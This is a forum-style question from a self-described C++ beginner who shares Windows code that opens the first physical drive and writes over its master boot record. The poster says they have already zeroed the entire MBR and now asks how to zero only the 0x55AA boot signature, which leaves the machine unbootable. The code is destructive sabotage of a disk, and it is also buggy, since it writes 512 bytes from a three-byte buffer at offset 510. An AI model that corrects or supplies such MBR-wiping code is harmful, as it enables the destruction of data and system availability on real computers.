I have been able to modify such that the MBR is overwritten with 0 values. However, is it possible to make it such that I only overwrite the last 2 bytes (55h AAh) of the MBR (Boot Signature) to become 00h 00h ? My code is:
char dataWrite[3] = "\x00\x00";
// Create file of physical drive
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0"
, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE
, NULL, OPEN_EXISTING, NULL, NULL);
// Set file pointer
DWORD dwPtr1 = SetFilePointer(MasterBootRecord, 510, NULL, NULL);
if (dwPtr1 == INVALID_SET_FILE_POINTER) // Test for failure
{
cout<< "\n\nSetFilePointer Failed to write,Err No: "<< GetLastError();
Sleep(5000);
ExitProcess(0);
}
// Write to file
if (WriteFile(MasterBootRecord, dataWrite, 512, &write, NULL)) {
cout << "Boot signature overwritten." << endl;
Sleep(5000);
ExitProcess(0);
} else...
It turns out successful but the values written to the MBR are wrong. I am rather new to C++ thus am a little confused with this. Any help will be appreciated. Thanks